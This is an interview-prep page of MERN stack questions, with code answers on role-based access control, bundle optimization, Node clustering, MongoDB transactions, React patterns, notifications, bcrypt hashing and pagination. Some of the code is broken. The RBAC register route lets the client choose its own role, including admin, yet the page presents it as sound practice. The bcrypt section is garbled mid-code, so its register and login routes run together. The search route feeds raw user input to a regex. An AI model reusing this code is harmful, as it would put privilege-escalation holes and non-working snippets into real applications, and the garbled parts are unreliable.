Interview Prep

MERN STACK DEVELOPMENT Interview Questions

Master your interview with real-world questions and detailed answers

78Questions
14Easy
39Medium
25Hard
1

What is the difference between Authentication and Authorization? Implement role-based access control (RBAC).

Hard 📁 Authentication & Authorization
💡
Detailed Answer
Scroll to read complete explanation

Authentication vs Authorization

Authentication Authorization
WHO are you? WHAT can you do?
Verifying identity (login) Checking permissions
email + password → JWT token Is user an admin? Can they delete?
Happens FIRST Happens AFTER authentication
401 Unauthorized error 403 Forbidden error

Complete RBAC System Implementation:

Step 1: User Model with Roles

const userSchema = new mongoose.Schema({
  name: String,
  email: { type: String, unique: true },
  password: String,
  role: {
    type: String,
    enum: ["user", "moderator", "admin"],
    default: "user"
  },
  permissions: [{
    type: String,
    enum: [
      "read:posts",
      "create:posts",
      "update:posts",
      "delete:posts",
      "manage:users",
      "view:analytics"
    ]
  }],
  isActive: { type: Boolean, default: true },
  createdAt: { type: Date, default: Date.now }
});

const User = mongoose.model("User", userSchema);

Step 2: Authentication Middleware

// middleware/auth.js
const jwt = require("jsonwebtoken");

const authenticate = async (req, res, next) => {
  try {
    // Get token from header
    const authHeader = req.headers.authorization;
    if (!authHeader || !authHeader.startsWith("Bearer ")) {
      return res.status(401).json({ message: "No token provided" });
    }

    const token = authHeader.split(" ")[1];

    // Verify token
    const decoded = jwt.verify(token, process.env.JWT_SECRET);

    // Get user from database
    const user = await User.findById(decoded.userId).select("-password");
    if (!user || !user.isActive) {
      return res.status(401).json({ message: "Invalid token" });
    }

    // Attach user to request
    req.user = user;
    next();
  } catch (error) {
    res.status(401).json({ message: "Invalid or expired token" });
  }
};

module.exports = { authenticate };

Step 3: Authorization Middlewares

// middleware/authorize.js

// Check if user has specific role
const requireRole = (...allowedRoles) => {
  return (req, res, next) => {
    if (!req.user) {
      return res.status(401).json({ message: "Authentication required" });
    }

    if (!allowedRoles.includes(req.user.role)) {
      return res.status(403).json({ 
        message: `Access denied. Requires role: ${allowedRoles.join(" or ")}` 
      });
    }

    next();
  };
};

// Check if user has specific permission
const requirePermission = (...requiredPermissions) => {
  return (req, res, next) => {
    if (!req.user) {
      return res.status(401).json({ message: "Authentication required" });
    }

    const hasPermission = requiredPermissions.every(permission =>
      req.user.permissions.includes(permission)
    );

    if (!hasPermission) {
      return res.status(403).json({ 
        message: "Insufficient permissions",
        required: requiredPermissions
      });
    }

    next();
  };
};

// Check if user is owner OR admin
const requireOwnerOrAdmin = (resourceParam = "id") => {
  return async (req, res, next) => {
    const resourceId = req.params[resourceParam];
    
    // Admins can access anything
    if (req.user.role === "admin") {
      return next();
    }

    // For regular users, check if they own the resource
    const resource = await Post.findById(resourceId);
    if (!resource) {
      return res.status(404).json({ message: "Resource not found" });
    }

    if (resource.author.toString() !== req.user._id.toString()) {
      return res.status(403).json({ 
        message: "You can only modify your own resources" 
      });
    }

    next();
  };
};

module.exports = { requireRole, requirePermission, requireOwnerOrAdmin };

Step 4: Apply to Routes

const { authenticate } = require("./middleware/auth");
const { requireRole, requirePermission, requireOwnerOrAdmin } = require("./middleware/authorize");

// Public route - no auth needed
router.get("/posts", getAllPosts);

// Authenticated route - any logged-in user
router.post("/posts", authenticate, createPost);

// Role-based access - only admins
router.get("/admin/users", authenticate, requireRole("admin"), getAllUsers);

// Multiple roles allowed
router.get("/moderator/reports", 
  authenticate, 
  requireRole("admin", "moderator"), 
  getReports
);

// Permission-based access
router.delete("/posts/:id", 
  authenticate, 
  requirePermission("delete:posts"), 
  deletePost
);

// Owner or Admin can update
router.put("/posts/:id", 
  authenticate, 
  requireOwnerOrAdmin("id"), 
  updatePost
);

// Complex: Must be admin AND have specific permission
router.post("/admin/settings", 
  authenticate, 
  requireRole("admin"),
  requirePermission("manage:settings"),
  updateSettings
);

Step 5: Frontend - Conditional Rendering

function PostActions({ post, currentUser }) {
  const canEdit = 
    currentUser._id === post.author._id || 
    currentUser.role === "admin";

  const canDelete = 
    currentUser.role === "admin" ||
    currentUser.permissions.includes("delete:posts");

  return (
    <div>
      {canEdit && (
        <button onClick={handleEdit}>Edit</button>
      )}
      {canDelete && (
        <button onClick={handleDelete}>Delete</button>
      )}
    </div>
  );
}

// Admin-only component
function AdminPanel() {
  const { user } = useAuth();

  if (user?.role !== "admin") {
    return <div>Access Denied</div>;
  }

  return <div>Admin Dashboard</div>;
}

Step 6: Assign Permissions Dynamically

// Define role-permission mapping
const rolePermissions = {
  user: ["read:posts", "create:posts"],
  moderator: ["read:posts", "create:posts", "update:posts", "delete:posts"],
  admin: ["read:posts", "create:posts", "update:posts", "delete:posts", "manage:users", "view:analytics"]
};

// Assign permissions when creating user
router.post("/register", async (req, res) => {
  const { name, email, password, role = "user" } = req.body;
  
  const user = await User.create({
    name,
    email,
    password: await bcrypt.hash(password, 12),
    role,
    permissions: rolePermissions[role] // Auto-assign based on role
  });

  res.status(201).json({ message: "User created" });
});

💡 Production Tip: Large companies like Amazon, Google use fine-grained permission systems (RBAC + ABAC). Store permissions in separate Permission collection for better scalability!

2

How do you optimize React application bundle size? Explain tree shaking and webpack optimization.

Hard 📁 React Performance
💡
Detailed Answer
Scroll to read complete explanation

React Bundle Size Optimization

1. Tree Shaking - Remove Unused Code:

// ❌ Bad - Imports entire library (lodash is 70KB!)
import _ from "lodash";
const unique = _.uniq([1, 2, 2, 3]);

// ✅ Good - Import only what you need
import uniq from "lodash/uniq"; // Only 2KB!
const unique = uniq([1, 2, 2, 3]);

// ❌ Bad - Imports all of Material-UI
import { Button, TextField } from "@mui/material";

// ✅ Good - Direct imports (better tree shaking)
import Button from "@mui/material/Button";
import TextField from "@mui/material/TextField";

2. Analyze Your Bundle:

# Install bundle analyzer
npm install --save-dev webpack-bundle-analyzer

# Add to package.json scripts
"analyze": "source-map-explorer 'build/static/js/*.js'"

# For Create React App
npm run build
npx source-map-explorer build/static/js/*.js

# Opens visual map showing what's taking space!

3. Dynamic Imports with React.lazy:

// Instead of loading all at once
import HeavyChart from "./HeavyChart"; // 200KB

// Load only when needed
const HeavyChart = lazy(() => import("./HeavyChart"));

<Suspense fallback={<Spinner />}>
  {showChart && <HeavyChart />}
</Suspense>

4. Remove console.log in Production:

// Install plugin
npm install --save-dev babel-plugin-transform-remove-console

// .babelrc or babel.config.js
{
  "env": {
    "production": {
      "plugins": ["transform-remove-console"]
    }
  }
}

5. Use Production Build:

# Development build (HUGE - includes debugging)
npm start  // ~2MB bundle

# Production build (optimized, minified)
npm run build  // ~200KB bundle

# Environment variable check
if (process.env.NODE_ENV === "production") {
  // Production optimizations enabled
}

6. Lazy Load Images:

// Use native lazy loading
<img src="/large.jpg" loading="lazy" alt="Loads when scrolled into view" />

// Or use Intersection Observer
function LazyImage({ src, alt }) {
  const [imageSrc, setImageSrc] = useState(null);
  const imgRef = useRef();

  useEffect(() => {
    const observer = new IntersectionObserver(([entry]) => {
      if (entry.isIntersecting) {
        setImageSrc(src);
        observer.disconnect();
      }
    });
    observer.observe(imgRef.current);
    return () => observer.disconnect();
  }, [src]);

  return <img ref={imgRef} src={imageSrc || "/placeholder.jpg"} alt={alt} />;
}

7. Use WebP Images:

<picture>
  <source srcSet="/image.webp" type="image/webp" />
  <source srcSet="/image.jpg" type="image/jpeg" />
  <img src="/image.jpg" alt="Fallback" />
</picture>

// WebP is 25-35% smaller than JPEG!

8. CDN for Large Dependencies:

<!-- Load React from CDN in production -->
<script crossorigin src="https://unpkg.com/react@18/umd/react.production.min.js"></script>
<script crossorigin src="https://unpkg.com/react-dom@18/umd/react-dom.production.min.js"></script>

// Configure externals in webpack
externals: {
  react: "React",
  "react-dom": "ReactDOM"
}

Checklist for Bundle Optimization:

  • ✅ Use production build (NODE_ENV=production)
  • ✅ Code split routes with React.lazy
  • ✅ Tree shake unused code (ES6 imports)
  • ✅ Lazy load images and heavy components
  • ✅ Remove console.logs in production
  • ✅ Use gzip/brotli compression
  • ✅ Analyze bundle with webpack-bundle-analyzer
  • ✅ Use CDN for static assets
  • ✅ Optimize images (WebP, lazy loading)

💡 Real Numbers: Typical unoptimized React app: 2-4MB. After optimization: 200-400KB (10x smaller!)

3

What is Clustering in Node.js? How do you scale a Node.js application?

Hard 📁 Node.js Advanced
💡
Detailed Answer
Scroll to read complete explanation

Node.js Clustering

Node.js runs on a single thread by default. On a server with 8 CPU cores, Node.js only uses 1 core - wasting 7 cores! 💀

Clustering creates multiple Node.js processes (workers) to utilize all CPU cores.

Problem Visualization:

// Without Clustering (single core)
CPU1: ████████ (Node.js running here)
CPU2: ░░░░░░░░ (idle)
CPU3: ░░░░░░░░ (idle)
CPU4: ░░░░░░░░ (idle)
// Only 25% CPU utilization!

// With Clustering (4 worker processes)
CPU1: ████████ (Worker 1)
CPU2: ████████ (Worker 2)
CPU3: ████████ (Worker 3)
CPU4: ████████ (Worker 4)
// 100% CPU utilization! 4x throughput!

Basic Cluster Implementation:

// server.js
const cluster = require("cluster");
const os = require("os");
const express = require("express");

const numCPUs = os.cpus().length; // Get CPU core count

if (cluster.isMaster) {
  console.log(`Master process ${process.pid} is running`);
  console.log(`Forking ${numCPUs} workers...`);

  // Fork workers (one per CPU core)
  for (let i = 0; i < numCPUs; i++) {
    cluster.fork();
  }

  // Worker died - restart it
  cluster.on("exit", (worker, code, signal) => {
    console.log(`Worker ${worker.process.pid} died. Restarting...`);
    cluster.fork(); // Auto-restart failed worker
  });

} else {
  // Worker process - runs the actual server
  const app = express();
  
  app.get("/", (req, res) => {
    res.send(`Response from worker ${process.pid}`);
  });

  const PORT = process.env.PORT || 3000;
  app.listen(PORT, () => {
    console.log(`Worker ${process.pid} started on port ${PORT}`);
  });
}

// Output:
// Master process 1234 is running
// Forking 4 workers...
// Worker 1235 started on port 3000
// Worker 1236 started on port 3000
// Worker 1237 started on port 3000
// Worker 1238 started on port 3000
// All 4 workers listening on SAME port! (kernel load balances)

Production Cluster with PM2 (Recommended):

# Install PM2 globally
npm install -g pm2

# Start app in cluster mode
pm2 start server.js -i max  # max = use all CPU cores
# or
pm2 start server.js -i 4    # exactly 4 instances

# PM2 commands
pm2 list              # See all processes
pm2 logs              # View logs
pm2 monit             # Live monitoring
pm2 reload server     # Zero-downtime restart
pm2 stop server       # Stop all instances
pm2 startup           # Auto-start on server reboot
pm2 save              # Save current process list

PM2 Ecosystem File (ecosystem.config.js):

module.exports = {
  apps: [{
    name: "mern-api",
    script: "./server.js",
    instances: "max",        // Use all CPU cores
    exec_mode: "cluster",    // Cluster mode
    env: {
      NODE_ENV: "production",
      PORT: 5000
    },
    error_file: "./logs/err.log",
    out_file: "./logs/out.log",
    log_date_format: "YYYY-MM-DD HH:mm:ss Z",
    merge_logs: true,
    max_memory_restart: "500M", // Restart if memory exceeds 500MB
    watch: false,               // Don't auto-restart on file changes (production)
    autorestart: true,          // Auto-restart if crash
    max_restarts: 10,           // Max restarts within 1 minute
    min_uptime: "10s"           // Min uptime before considered stable
  }]
};

// Start with ecosystem file
pm2 start ecosystem.config.js

Handling Shared State in Cluster:

// ❌ Problem: Each worker has its own memory!
const visits = 0; // This is separate in each worker process

app.get("/count", (req, res) => {
  visits++; // Only increments in ONE worker!
  res.send(`Visits: ${visits}`);
});
// User gets different counts on each request! 💀

// ✅ Solution 1: Use Redis for shared state
const redis = require("redis");
const client = redis.createClient();

app.get("/count", async (req, res) => {
  const visits = await client.incr("visits"); // Atomic increment in Redis
  res.send(`Visits: ${visits}`);
});

// ✅ Solution 2: Use Sticky Sessions (same user → same worker)
// Configure in load balancer or use cookie-based routing

Horizontal Scaling (Multiple Servers):

// Cluster = Vertical scaling (one server, multiple cores)
// Horizontal scaling = Multiple servers behind load balancer

         Load Balancer (Nginx)
                │
    ┌───────────┼───────────┐
    │           │           │
Server 1      Server 2    Server 3
(4 workers)  (4 workers)  (4 workers)
    │           │           │
    └───────────┴───────────┘
              │
        Shared Database
        (MongoDB Atlas)

Load Testing Cluster Performance:

# Install Apache Bench
sudo apt-get install apache2-utils

# Test without clustering
node server.js
ab -n 10000 -c 100 http://localhost:3000/
# Requests per second: ~5000

# Test with clustering (4 cores)
pm2 start server.js -i 4
ab -n 10000 -c 100 http://localhost:3000/
# Requests per second: ~18000 (3.6x improvement!)

💡 MNC Production Stack: Most companies use: PM2 + Nginx + Docker + Kubernetes for ultimate scalability. TCS, Infosys, Wipro projects almost always use PM2 in production!

4

What are MongoDB Transactions? When and how do you use them in MERN Stack?

Hard 📁 MongoDB Advanced
💡
Detailed Answer
Scroll to read complete explanation

MongoDB Transactions

Transactions allow you to execute multiple operations atomically - either ALL succeed or ALL fail (rollback). This ensures data consistency.

ACID Properties:

  • Atomicity - All or nothing
  • Consistency - Data remains valid
  • Isolation - Concurrent transactions don't interfere
  • Durability - Committed changes are permanent

Real-World Example: E-commerce Order Processing

When a user places an order, you need to:

  1. Create order document
  2. Reduce product stock
  3. Deduct user wallet balance
  4. Create shipment record

Problem: What if step 3 fails? You've already created order and reduced stock! 💀

Implementation with Mongoose Transactions:

const mongoose = require("mongoose");

async function placeOrder(userId, items, paymentMethod) {
  // Start a session
  const session = await mongoose.startSession();
  
  try {
    // Start transaction
    session.startTransaction();

    // Step 1: Create order
    const order = await Order.create([{
      userId,
      items,
      totalAmount: calculateTotal(items),
      status: "pending"
    }], { session }); // Pass session to every operation!

    // Step 2: Reduce stock for each item
    for (const item of items) {
      const product = await Product.findById(item.productId).session(session);
      
      if (product.stock < item.quantity) {
        throw new Error(`Insufficient stock for ${product.name}`);
      }
      
      product.stock -= item.quantity;
      await product.save({ session });
    }

    // Step 3: Deduct from user wallet
    const user = await User.findById(userId).session(session);
    const totalAmount = calculateTotal(items);
    
    if (user.walletBalance < totalAmount) {
      throw new Error("Insufficient wallet balance");
    }
    
    user.walletBalance -= totalAmount;
    await user.save({ session });

    // Step 4: Create shipment
    await Shipment.create([{
      orderId: order[0]._id,
      address: user.shippingAddress,
      status: "pending"
    }], { session });

    // All operations succeeded! Commit transaction
    await session.commitTransaction();
    console.log("✅ Order placed successfully!");
    return order[0];

  } catch (error) {
    // Something failed! Rollback everything
    await session.abortTransaction();
    console.error("❌ Transaction failed:", error.message);
    throw error;
  } finally {
    // Always end session
    session.endSession();
  }
}

Express Route Using Transaction:

router.post("/orders", authMiddleware, async (req, res) => {
  try {
    const order = await placeOrder(
      req.user.userId,
      req.body.items,
      req.body.paymentMethod
    );
    res.status(201).json({ 
      message: "Order placed successfully", 
      orderId: order._id 
    });
  } catch (error) {
    res.status(400).json({ 
      message: error.message 
    });
  }
});

Transaction with Retry Logic:

async function placeOrderWithRetry(userId, items, maxRetries = 3) {
  for (let attempt = 1; attempt <= maxRetries; attempt++) {
    const session = await mongoose.startSession();
    try {
      session.startTransaction();
      
      // ... all operations with { session }
      
      await session.commitTransaction();
      session.endSession();
      return order;
      
    } catch (error) {
      await session.abortTransaction();
      session.endSession();
      
      // Retry on transient errors
      if (error.hasErrorLabel("TransientTransactionError") && attempt < maxRetries) {
        console.log(`Retry attempt ${attempt}...`);
        await new Promise(resolve => setTimeout(resolve, 100 * attempt)); // Exponential backoff
        continue;
      }
      
      throw error; // Give up after max retries
    }
  }
}

Requirements for Transactions:

  • ✅ MongoDB 4.0+ (single replica set) or 4.2+ (sharded cluster)
  • ✅ Replica Set must be configured (even in development)
  • ✅ All operations must pass same session
  • ✅ Total transaction time < 60 seconds (default limit)

Setting Up Replica Set (Development):

# Start MongoDB with replica set
mongod --replSet rs0

# In mongo shell, initialize replica set
rs.initiate()

# In your code, connect with replica set
mongoose.connect("mongodb://localhost:27017/myapp?replicaSet=rs0");

When NOT to Use Transactions:

  • Single document updates (already atomic)
  • Simple read operations
  • When eventual consistency is acceptable
  • Performance-critical paths (transactions have overhead)

💡 MNC Interview Tip: Amazon, Flipkart ask this for senior roles. Key answer: "Transactions ensure data consistency in multi-step operations like payments and inventory management. But they're expensive - use only when atomicity is critical."

5

What is the Render Props Pattern? How is it different from Higher-Order Components?

Hard 📁 Advanced React Patterns
💡
Detailed Answer
Scroll to read complete explanation

Render Props Pattern

Render Props is a pattern where a component receives a function as a prop, which it calls to determine what to render. This function receives data from the parent component.

Basic Example - Mouse Tracker:

// Component that tracks mouse position
function MouseTracker({ render }) {
  const [position, setPosition] = useState({ x: 0, y: 0 });

  useEffect(() => {
    const handleMove = (e) => {
      setPosition({ x: e.clientX, y: e.clientY });
    };
    window.addEventListener("mousemove", handleMove);
    return () => window.removeEventListener("mousemove", handleMove);
  }, []);

  // Call the render prop function with data
  return render(position);
}

// Usage 1: Display coordinates
<MouseTracker
  render={({ x, y }) => (
    <h1>Mouse at ({x}, {y})</h1>
  )}
/>

// Usage 2: Follow the mouse with a cat image
<MouseTracker
  render={({ x, y }) => (
    <img src="/cat.png" style={{ position: "absolute", left: x, top: y }} />
  )}
/>

Real-World Example: Data Fetcher

function DataFetcher({ url, render }) {
  const [data, setData] = useState(null);
  const [loading, setLoading] = useState(true);
  const [error, setError] = useState(null);

  useEffect(() => {
    fetch(url)
      .then(res => res.json())
      .then(setData)
      .catch(setError)
      .finally(() => setLoading(false));
  }, [url]);

  return render({ data, loading, error });
}

// Usage - Reuse fetching logic for different UIs!
<DataFetcher
  url="/api/users"
  render={({ data, loading, error }) => {
    if (loading) return <Spinner />;
    if (error) return <Error message={error.message} />;
    return data.map(user => <UserCard key={user.id} user={user} />);
  }}
/>

Alternative Syntax - Children as Function:

function DataFetcher({ url, children }) {
  const [data, setData] = useState(null);
  // ... same fetching logic

  return children({ data, loading, error }); // children is the function!
}

// Cleaner syntax!
<DataFetcher url="/api/products">
  {({ data, loading }) => (
    loading ? <Spinner /> : <ProductGrid products={data} />
  )}
</DataFetcher>

Render Props vs HOC vs Hooks:

Pattern Pros Cons
Render Props Flexible, composable, clear data flow Callback hell, verbose JSX
HOC Reusable logic, clean JSX Prop name collisions, wrapper hell
Hooks ✅ Best of both - clean, reusable, no wrappers None (this is the modern way!)

Modern Alternative - Custom Hook:

// ✅ Same functionality, cleaner with hooks
function useFetch(url) {
  const [data, setData] = useState(null);
  const [loading, setLoading] = useState(true);
  const [error, setError] = useState(null);

  useEffect(() => {
    fetch(url)
      .then(res => res.json())
      .then(setData)
      .catch(setError)
      .finally(() => setLoading(false));
  }, [url]);

  return { data, loading, error };
}

// Much cleaner usage!
function UserList() {
  const { data: users, loading, error } = useFetch("/api/users");
  if (loading) return <Spinner />;
  return users.map(u => <UserCard key={u.id} user={u} />);
}

💡 Interview Answer: "Render Props was popular before Hooks. Now, we use Custom Hooks for the same purpose - sharing stateful logic. But Render Props is still used in libraries like React Query, Formik, and Downshift."

Advertisement
6

What is the Compound Component Pattern in React? Explain with example.

Hard 📁 Advanced React Patterns
💡
Detailed Answer
Scroll to read complete explanation

Compound Component Pattern

The Compound Component Pattern allows you to create components that work together to form a complete UI, sharing implicit state without prop drilling. Think of it like HTML <select> and <option> elements - they work together.

Real-World Example: Tab Component

// ❌ Without Compound Pattern (props everywhere!)
<Tabs
  tabs={[
    { id: 1, label: "Profile", content: <ProfileContent /> },
    { id: 2, label: "Settings", content: <SettingsContent /> }
  ]}
  activeTab={activeTab}
  onChange={setActiveTab}
/>

// ✅ With Compound Pattern (more flexible and readable!)
<Tabs>
  <TabList>
    <Tab>Profile</Tab>
    <Tab>Settings</Tab>
    <Tab>Billing</Tab>
  </TabList>
  
  <TabPanels>
    <TabPanel><ProfileContent /></TabPanel>
    <TabPanel><SettingsContent /></TabPanel>
    <TabPanel><BillingContent /></TabPanel>
  </TabPanels>
</Tabs>

Implementation Using Context:

import { createContext, useContext, useState } from "react";

// Step 1: Create Context
const TabsContext = createContext();

// Step 2: Parent Component (Manages State)
function Tabs({ children, defaultIndex = 0 }) {
  const [activeIndex, setActiveIndex] = useState(defaultIndex);

  return (
    <TabsContext.Provider value={{ activeIndex, setActiveIndex }}>
      <div className="tabs">{children}</div>
    </TabsContext.Provider>
  );
}

// Step 3: TabList Component
function TabList({ children }) {
  return <div className="tab-list">{children}</div>;
}

// Step 4: Tab Component (Reads from Context)
function Tab({ children, index }) {
  const { activeIndex, setActiveIndex } = useContext(TabsContext);
  const isActive = activeIndex === index;

  return (
    <button
      className={`tab ${isActive ? "active" : ""}`}
      onClick={() => setActiveIndex(index)}
    >
      {children}
    </button>
  );
}

// Step 5: TabPanels Component
function TabPanels({ children }) {
  const { activeIndex } = useContext(TabsContext);
  return <div className="tab-panels">{children[activeIndex]}</div>;
}

// Step 6: TabPanel Component
function TabPanel({ children }) {
  return <div className="tab-panel">{children}</div>;
}

// Export as a compound
Tabs.List = TabList;
Tabs.Tab = Tab;
Tabs.Panels = TabPanels;
Tabs.Panel = TabPanel;

export default Tabs;

Usage:

function App() {
  return (
    <Tabs defaultIndex={0}>
      <Tabs.List>
        <Tabs.Tab index={0}>Dashboard</Tabs.Tab>
        <Tabs.Tab index={1}>Analytics</Tabs.Tab>
        <Tabs.Tab index={2}>Reports</Tabs.Tab>
      </Tabs.List>

      <Tabs.Panels>
        <Tabs.Panel><Dashboard /></Tabs.Panel>
        <Tabs.Panel><Analytics /></Tabs.Panel>
        <Tabs.Panel><Reports /></Tabs.Panel>
      </Tabs.Panels>
    </Tabs>
  );
}

Benefits:

  • ✅ Flexible API - Users can compose UI as needed
  • ✅ No prop drilling - State shared via Context
  • ✅ Clean JSX - More readable than passing arrays
  • ✅ Type-safe - TypeScript can enforce structure

💡 Real Libraries Using This: Chakra UI, Radix UI, React Spectrum - Most modern component libraries use this pattern!

7

How do you implement a Notification System in MERN Stack?

Hard 📁 System Design
💡
Detailed Answer
Scroll to read complete explanation

Notification System Architecture in MERN Stack

Types of Notifications:

  • In-app notifications – Shown inside the app (bell icon)
  • Real-time notifications – Instant push via Socket.io
  • Email notifications – Sent via Nodemailer
  • Push notifications – Browser/mobile push (Web Push API)

Notification Schema:

const notificationSchema = new mongoose.Schema({
  recipient: { type: mongoose.Schema.Types.ObjectId, ref: "User", required: true },
  sender: { type: mongoose.Schema.Types.ObjectId, ref: "User" },
  type: {
    type: String,
    enum: ["like", "comment", "follow", "order", "message", "system"],
    required: true
  },
  title: { type: String, required: true },
  message: { type: String, required: true },
  link: { type: String }, // Link to navigate to when clicked
  isRead: { type: Boolean, default: false },
  data: { type: Object }, // Additional data (e.g., postId, orderId)
  createdAt: { type: Date, default: Date.now }
});

// Index for fast queries
notificationSchema.index({ recipient: 1, createdAt: -1 });
notificationSchema.index({ recipient: 1, isRead: 1 });

const Notification = mongoose.model("Notification", notificationSchema);

Notification Service:

// services/notificationService.js
const Notification = require("../models/Notification");
const io = require("../socket"); // Socket.io instance

const createNotification = async ({ recipient, sender, type, title, message, link, data }) => {
  // 1. Save to database
  const notification = await Notification.create({
    recipient, sender, type, title, message, link, data
  });

  // 2. Emit real-time notification via Socket.io
  const onlineUserSocket = getSocketByUserId(recipient.toString());
  if (onlineUserSocket) {
    io.to(onlineUserSocket).emit("notification:new", {
      ...notification.toObject(),
      sender: await User.findById(sender).select("name avatar")
    });
  }

  return notification;
};

// Notification API Routes
router.get("/notifications", authMiddleware, async (req, res) => {
  const notifications = await Notification.find({ recipient: req.user.userId })
    .sort({ createdAt: -1 })
    .limit(20)
    .populate("sender", "name avatar")
    .lean();
  
  const unreadCount = await Notification.countDocuments({
    recipient: req.user.userId,
    isRead: false
  });
  
  res.json({ notifications, unreadCount });
});

// Mark as read
router.patch("/notifications/:id/read", authMiddleware, async (req, res) => {
  await Notification.findOneAndUpdate(
    { _id: req.params.id, recipient: req.user.userId },
    { isRead: true }
  );
  res.json({ message: "Marked as read" });
});

// Mark all as read
router.patch("/notifications/read-all", authMiddleware, async (req, res) => {
  await Notification.updateMany(
    { recipient: req.user.userId, isRead: false },
    { isRead: true }
  );
  res.json({ message: "All notifications marked as read" });
});

// Example: Trigger notification when someone likes a post
router.post("/posts/:id/like", authMiddleware, async (req, res) => {
  const post = await Post.findById(req.params.id);
  
  // Don't notify yourself
  if (post.author.toString() !== req.user.userId) {
    await createNotification({
      recipient: post.author,
      sender: req.user.userId,
      type: "like",
      title: "New Like",
      message: `${req.user.name} liked your post`,
      link: `/posts/${post._id}`,
      data: { postId: post._id }
    });
  }
  
  res.json({ message: "Post liked!" });
});

Frontend – Notification Bell Component:

function NotificationBell() {
  const [notifications, setNotifications] = useState([]);
  const [unreadCount, setUnreadCount] = useState(0);
  const [isOpen, setIsOpen] = useState(false);
  const { socket } = useSocket();

  useEffect(() => {
    fetchNotifications();
    
    // Listen for real-time notifications
    socket.on("notification:new", (notification) => {
      setNotifications(prev => [notification, ...prev]);
      setUnreadCount(prev => prev + 1);
      // Show toast notification
      toast.info(notification.title);
    });
    
    return () => socket.off("notification:new");
  }, []);

  return (
    <div className="notification-bell">
      <button onClick={() => setIsOpen(!isOpen)}>
        🔔
        {unreadCount > 0 && <span className="badge">{unreadCount}</span>}
      </button>
      
      {isOpen && (
        <div className="dropdown">
          {notifications.map(n => (
            <div key={n._id} style={{ opacity: n.isRead ? 0.6 : 1 }}
              onClick={() => markAsRead(n._id)}>
              <img src={n.sender?.avatar} alt="" />
              <p>{n.message}</p>
              <small>{timeAgo(n.createdAt)}</small>
            </div>
          ))}
        </div>
      )}
    </div>
  );
}
8

What is bcrypt? How do you hash and compare passwords securely?

Hard 📁 Security
💡
Detailed Answer
Scroll to read complete explanation

Password Security with bcrypt

bcrypt is a password hashing function designed to be slow and computationally expensive by design. This makes brute-force attacks impractical.

Why Not Store Plain Text Passwords?

// ❌ NEVER do this!
user.password = "password123"; // Stored as plain text
// If database is hacked → All user passwords exposed!

// ❌ Also bad: MD5 or SHA1 (too fast, rainbow tables exist)
user.password = md5("password123"); // Can be cracked in seconds!

How bcrypt Works:

  • Salt – Random data added to password before hashing (prevents rainbow table attacks)
  • Cost factor/Rounds – Controls how slow the hashing is (2^rounds operations)
  • Same password hashed twice → Different results (because of salt)

bcrypt Implementation:

// Install: npm install bcryptjs
const bcrypt = require("bcryptjs");

// HASHING PASSWORDS

// Method 1: Separate salt and hash
const saltRounds = 12; // Higher = slower but more secure (10-12 recommended)
const salt = await bcrypt.genSalt(saltRounds);
const hashedPassword = await bcrypt.hash("myPassword123", salt);
console.log(hashedPassword);
// "$2a$12$N9qo8uLOickgx2ZMRZoMyeIjZAgcfl7p92ldGxad68LJZdL17lhWy"
// ↑ Algorithm version, ↑ rounds, ↑ salt (22 chars), ↑ hash

// Method 2: Hash directly (salt generated internally)
const hashedPassword = await bcrypt.hash("myPassword123", 12);

// Same password hashed twice = DIFFERENT results!
const hash1 = await bcrypt.hash("password", 12);
const hash2 = await bcrypt.hash("password", 12);
console.log(hash1 === hash2); // false! (different salts)

Complete Auth System:

// User Model with pre-save hook
const userSchema = new mongoose.Schema({
  name: String,
  email: { type: String, unique: true },
  password: String
});

// Hash password BEFORE saving
userSchema.pre("save", async function(next) {
  // Only hash if password was modified
  if (!this.isModified("password")) return next();
  this.password = await bcrypt.hash(this.password, 12);
  next();
});

// Instance method to compare passwords
userSchema.methods.comparePassword = async function(candidatePassword) {
  return await bcrypt.compare(candidatePassword, this.password);
};

// Register Route
router.post("/register", async (req, res) => {
  const { name, email, password } = req.body;
  
  // Validation
  if (password.length  {
  const { email, password } = req.body;
  
  const user = await User.findOne({ email }).select("+password"); // Select password (if excluded by default)
  
  if (!user) {
    // Return same message for both cases (security!)
    return res.status(401).json({ message: "Invalid email or password" });
  }
  
  const isMatch = await bcrypt.compare(password, user.password);
  // bcrypt.compare returns true/false (handles salt internally!)
  
  if (!isMatch) {
    return res.status(401).json({ message: "Invalid email or password" });
  }
  
  const token = jwt.sign({ userId: user._id }, process.env.JWT_SECRET, { expiresIn: "7d" });
  res.json({ token, userId: user._id });
});

Security Best Practices:

  • Use salt rounds 10-12 (12 for sensitive apps)
  • Use same error message for invalid email AND wrong password (prevent user enumeration)
  • Add rate limiting on login route (max 5-10 attempts)
  • Implement account lockout after repeated failures
  • Never send passwords in response (select("-password") in Mongoose)
9

How do you implement Pagination in MERN Stack? Explain Infinite Scroll and Page-based pagination.

Hard 📁 Full Stack Integration
💡
Detailed Answer
Scroll to read complete explanation

Pagination in MERN Stack

Pagination is essential when dealing with large datasets. Without it, loading 10,000 products at once would crash your app!

Backend – Pagination API:

// routes/products.js
router.get("/products", async (req, res) => {
  const page = Math.max(1, parseInt(req.query.page) || 1);
  const limit = Math.min(50, parseInt(req.query.limit) || 10); // Max 50 per page
  const skip = (page - 1) * limit;
  
  const filter = {};
  if (req.query.category) filter.category = req.query.category;
  if (req.query.search) {
    filter.name = { $regex: req.query.search, $options: "i" };
  }

  // Execute both queries in parallel for efficiency
  const [products, totalCount] = await Promise.all([
    Product.find(filter)
      .sort({ createdAt: -1 })
      .skip(skip)
      .limit(limit)
      .lean(),
    Product.countDocuments(filter)
  ]);

  const totalPages = Math.ceil(totalCount / limit);
  
  res.json({
    success: true,
    data: products,
    pagination: {
      currentPage: page,
      totalPages,
      totalItems: totalCount,
      itemsPerPage: limit,
      hasNextPage: page < totalPages,
      hasPrevPage: page > 1,
      nextPage: page < totalPages ? page + 1 : null,
      prevPage: page > 1 ? page - 1 : null
    }
  });
});

Frontend – Page-Based Pagination:

function ProductList() {
  const [products, setProducts] = useState([]);
  const [pagination, setPagination] = useState({});
  const [currentPage, setCurrentPage] = useState(1);
  const [loading, setLoading] = useState(false);

  useEffect(() => {
    fetchProducts(currentPage);
  }, [currentPage]);

  const fetchProducts = async (page) => {
    setLoading(true);
    const res = await fetch(`/api/products?page=${page}&limit=12`);
    const data = await res.json();
    setProducts(data.data);
    setPagination(data.pagination);
    setLoading(false);
  };

  return (
    <div>
      {loading ? <Spinner /> : (
        <div className="grid">
          {products.map(p => <ProductCard key={p._id} product={p} />)}
        </div>
      )}
      
      {/* Pagination Controls */}
      <div className="pagination">
